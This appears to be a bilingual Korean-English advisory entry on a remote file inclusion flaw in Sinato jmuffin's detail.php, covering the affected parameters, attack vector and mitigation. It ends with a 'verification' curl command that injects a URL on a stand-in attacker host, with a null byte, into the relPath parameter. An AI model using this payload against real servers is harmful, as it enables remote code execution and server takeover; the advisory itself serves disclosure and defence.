🇰🇷 한글 설명
Sinato jmuffin의 html/php/detail.php에 존재하는 원격 파일 포함(RFI) 취약점으로, relPath 및 folder 파라미터를 통해 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 외부에서 파일을 안전하지 않게 불러오기 때문에, 해커가 악의적인 코드를 주입해서 서버에서 실행하도록 할 수 있습니다. 이를 통해 웹서버 전체가 장악될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in html/php/detail.php in Sinato jmuffin allow remote attackers to execute arbitrary PHP code via a URL in the (1) relPath and (2) folder parameters. NOTE: this product was originally reported as "File117".
📍 영향받는 시스템
Sinato jmuffin (모든 버전)
⚔️ 공격 벡터
detail.php의 relPath/folder 파라미터에 외부 URL을 삽입하여 원격 파일 포함 유도
🛡️ 대응 방법
최신 버전 업그레이드 또는 입력값의 엄격한 검증 및 allow-list 기반 필터링 적용
🔧 검증 코드
외부 파일 내용이 응답에 포함되거나 PHP 에러가 발생하면 취약점 존재 확인
curl -s 'http://target/html/php/detail.php?relPath=http://attacker.com/test.txt%00' 2>&1 | grep -v '^$'